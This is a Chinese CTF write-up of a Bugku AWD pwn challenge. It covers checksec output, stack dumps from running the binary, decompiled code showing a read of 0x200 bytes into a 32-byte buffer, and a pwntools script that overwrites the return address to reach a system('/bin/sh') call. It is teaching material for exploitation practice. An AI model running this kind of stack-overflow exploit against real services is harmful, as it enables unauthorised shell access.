【awd系列】Bugku S3 AWD排位赛-9 pwn类型

文章目录

  • 二进制下载
  • 检查分析
  • 运行二进制
  • ida分析
  • 解题思路
  • exp

二进制下载

下载地址:传送门

检查分析

[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到,安全防护还是比较弱的

运行二进制

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf
                   +--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |
                   +--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)
                   +--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |
                   +--------------------+

Input: 123456

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf
                   +--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |
                   +--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)
                   +--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |
                   +--------------------+

Bye!

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf
                   +--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |
                   +--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)
                   +--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |
                   +--------------------+

Input: aaaaaaaa

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |
                   +--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |
                   +--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)
                   +--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |
                   +--------------------+

Bye!

ida分析

分析main函数,发现有提示:call win函数

image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("Your goal is to call `win` function (located at %p)\n", win);
  vuln();
  puts("Bye!");
  return 0;
}

可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用

image.png

__int64 vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  _show_stack(buf);
  printf("Input: ");
  read(0, buf, 0x200uLL);
  return _show_stack(buf);
}

查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用

image.png

void __noreturn win()
{
  _QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREF

  v0[1] = v0;
  if ( ((unsigned __int8)v0 & 0xF) != 0 )
  {
    puts("Oops! RSP is misaligned!");
    puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");
    puts("This instruction fails when RSP is not a multiple of 0x10.");
    puts("Find a way to align RSP! You're almost there!");
    sleep(1u);
  }
  else
  {
    puts("Congratulations!");
    system("/bin/sh");
  }
  exit(0);
}

找到system(“/bin/sh”);的地址为:0x00000000004008C4

image.png

.text:00000000004008C4 48 8D 3D C4 03 00 00          lea     rdi, command                    ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF                call    _system

解题思路

找到填充的间隔为32

image.png

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf
                   +--------------------+
0x00007ffce7496298 | 0x0000000000000000 |
                   +--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |
                   +--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)
                   +--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |
                   +--------------------+

Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32

上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4

exp

from pwn import *

io = process("./pwn")
# io = remote("xxxx", 9999)  
 
context.arch = "amd64"
# context.log_level = "debug"

padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)

io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/92693.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vue中ElementUI结合transform使用时,发现弹框定位不准确问题

在近期开发中&#xff0c;需要将1920*1080放到更大像素大屏上演示&#xff0c;所以需要使用到transform来对页面进行缩放&#xff0c;但是此时发现弹框定位出错问题&#xff0c;无法准备定位到实际位置。 查看element-ui官方文档无果后&#xff0c;打算更换新的框架进行开发&am…

【业务功能篇85】微服务-springcloud-Nginx-反向代理-网关

Nginx域名 1.hosts文件 在c:/window/system32/drivers/etc/hosts文件&#xff0c;我们在这个文件中添加 192.168.56.100 msb.mall.com注意如果是没有操作权限&#xff0c;那么点击该文件右击属性&#xff0c;去掉只读属性即可 通过这个域名访问到Nginx服务 2.Nginx的方向代…

[牛客复盘] 牛客周赛 Round 9 20230827

[牛客复盘] 牛客周赛 Round 9 20230827 总结小美的外卖订单编号1. 题目描述2. 思路分析3. 代码实现 小美的加法1. 题目描述2. 思路分析3. 代码实现 小美的01串翻转1. 题目描述2. 思路分析3. 代码实现 小美的数组操作1. 题目描述2. 思路分析3. 代码实现 六、参考链接 总结 又是…

Batbot电力云平台在智能配电室中的应用

智能配电室管理系统是物联网应用中的底层应用场景&#xff0c;无论是新基建下的智能升级&#xff0c;还是双碳目标下的能源管理&#xff0c;都离不开智能配电运维对传统配电室的智慧改造。Batbot智慧电力&#xff08;运维&#xff09;云平台通过对配电室关键电力设备部署传感器…

【Redis】Redis是什么、能干什么、主要功能和工作原理的详细讲解

&#x1f680;欢迎来到本文&#x1f680; &#x1f349;个人简介&#xff1a;陈童学哦&#xff0c;目前学习C/C、算法、Python、Java等方向&#xff0c;一个正在慢慢前行的普通人。 &#x1f3c0;系列专栏&#xff1a;陈童学的日记 &#x1f4a1;其他专栏&#xff1a;CSTL&…

Spring Authorization Server入门 (十六) Spring Cloud Gateway对接认证服务

前言 之前虽然单独讲过Security Client和Resource Server的对接&#xff0c;但是都是基于Spring webmvc的&#xff0c;Gateway这种非阻塞式的网关是基于webflux的&#xff0c;对于集成Security相关内容略有不同&#xff0c;且涉及到代理其它微服务&#xff0c;所以会稍微比较麻…

Shiro认证框架

目录 概述 认证授权及鉴权 Shiro框架的核心组件 基本流程 spring bootshiromybatisPlus...实现用户登录 step1:准备工作 (1)坐标 (2)连接数据库 (3)JavaBean (4)dao数据访问层 (5)密码工具类 DigestsUtil (6)配置类 step2&#xff1a;认证功能 step3:授权鉴权 概述…

Arcgis colorRmap

arcgis中colorRmap对应的名称&#xff1a; 信息来源&#xff1a;https://developers.arcgis.com/documentation/common-data-types/raster-function-objects.htm 在arcpy中使用方法&#xff1a; import arcpy cr arcpy.mp.ColorRamp("Yellow to Red")python中 ma…

基于安卓的考研助手系统app 微信小程序

&#xff0c;设计并开发实用、方便的应用程序具有重要的意义和良好的市场前景。HBuilder技术作为当前最流行的操作平台&#xff0c;自然也存在着大量的应用服务需求。 本课题研究的是基于HBuilder技术平台的安卓的考研助手APP&#xff0c;开发这款安卓的考研助手APP主要是为了…

下一代存储解决方案:湖仓一体

文章首发地址 湖仓一体是将数据湖和数据仓库相结合的一种数据架构&#xff0c;它可以同时满足大数据存储和传统数据仓库的需求。具体来说&#xff0c;湖仓一体可以实现以下几个方面的功能&#xff1a; 数据集成&#xff1a; 湖仓一体可以集成多个数据源&#xff0c;包括结构…

TCP学习笔记

最近面试&#xff0c;问TCP被问住了&#xff0c;感觉背八股背了印象不深刻&#xff0c;还是总结一些比较好。 如果有写错的&#xff0c;欢迎批评指正。 参考&#xff1a;https://www.xiaolincoding.com/network/3_tcp/tcp_interview.html#tcp-%E5%9F%BA%E6%9C%AC%E8%AE%A4%E8…

qt在线包下载安装出错 无法检索远程树

我的问题好像是在安装Qt5.15.2出现的。 我的情况是由于网络问题问题&#xff0c;设置开启了本机的代理之后&#xff0c;就可以正常下载了。

Java小游戏

一、需求 二、思路一 HP当然是怪物的一个属性成员&#xff0c;而武器是角色的一个属性成员&#xff0c;类型可以使字符串&#xff0c;用于描述目前角色所装备的武器。角色类有一个攻击方法&#xff0c;以被攻击怪物为参数&#xff0c;当实施一次攻击时&#xff0c;攻击方法被调…

C++设计模式之适配器模式

一、适配器模式 适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计模式&#xff0c;用于将一个类的接口转换成另一个类所期望的接口&#xff0c;以便两个类能够协同工作。 适配器模式可以解决现有类接口与所需接口不匹配的问题&#xff0c;使得原本因接口不…

BlazorServer中C#与JavaScript的相互调用

BlazorServer中C#与JavaScript的相互调用 前言&#xff1a; ​ 虽然BlazorServer中推荐使用C#在razor页面中的替代JavaScript来完成逻辑的编写&#xff0c;但当需要使用第三方的javascript文件/组件里的内容时&#xff0c;则难免要在C#中调用其方法或对象。反之当你的(用到第…

湖北咸宁农业三维扫描数字化农业3d打印制造应用-CASAIM中科广电

农业是人类衣食之源、生存之本&#xff0c;是一切生产的首要条件&#xff0c;CASAIM在农业三维扫描和3d打印应用上有丰富经验。 1.三维扫描技术在农业领域的应用 CASAIM三维扫描是集光学、机电和计算机技术于一体的高新无损检测技术&#xff0c;能够对实物的空间外形、结构乃…

Redis数据结构全解析【万字详解】

文章目录 前言一、SDS1、SDS的必要性2、SDS的数据结构3、SDS的优势O&#xff08;1&#xff09;复杂度获取字符串长度二进制安全不会发生缓冲区溢出节省空间 二、链表1、结构设计2、优缺点 三、压缩列表1、结构设计2、连续更新3、压缩列表的缺陷 四、哈希表1、结构设计2、哈希冲…

ubuntu安装goland

下载并解压goland sudo tar -C /opt/ -xzvf goland-2023.1.3.tar.gz配置应用图标 新建文件&#xff1a; vim /usr/share/applications/goland.desktop文件中写入如下内容&#xff1a; [Desktop Entry] TypeApplication NameGoLand Icon/opt/GoLand/bin/goland.png Exec/op…

科技赋能,教育革新——大步迈向体育强国梦

在 "全民健身"、"体育强国建设"战略的推进下&#xff0c;体育考试成绩被纳入重要升学考试且分值不断提高&#xff0c;体育科目的地位逐步上升到前所未有的高度&#xff0c;在此趋势下&#xff0c;体育教学正演变出更多元化、个性化的需求。然而现实中却面临…

centos7安装MySQL8

Centos7安装MySQL8 MySQL版本&#xff1a;8.0.34 1.安装前准备 &#xff08;1&#xff09;查看是否安装mariadb [rootkb135 ~]# rpm -qa|grep mariadb &#xff08;2&#xff09;卸载mariadb并检查是否卸干净 [rootkb135 ~]# rpm -e --nodeps mariadb-libs-5.5.68-1.el7.x8…
最新文章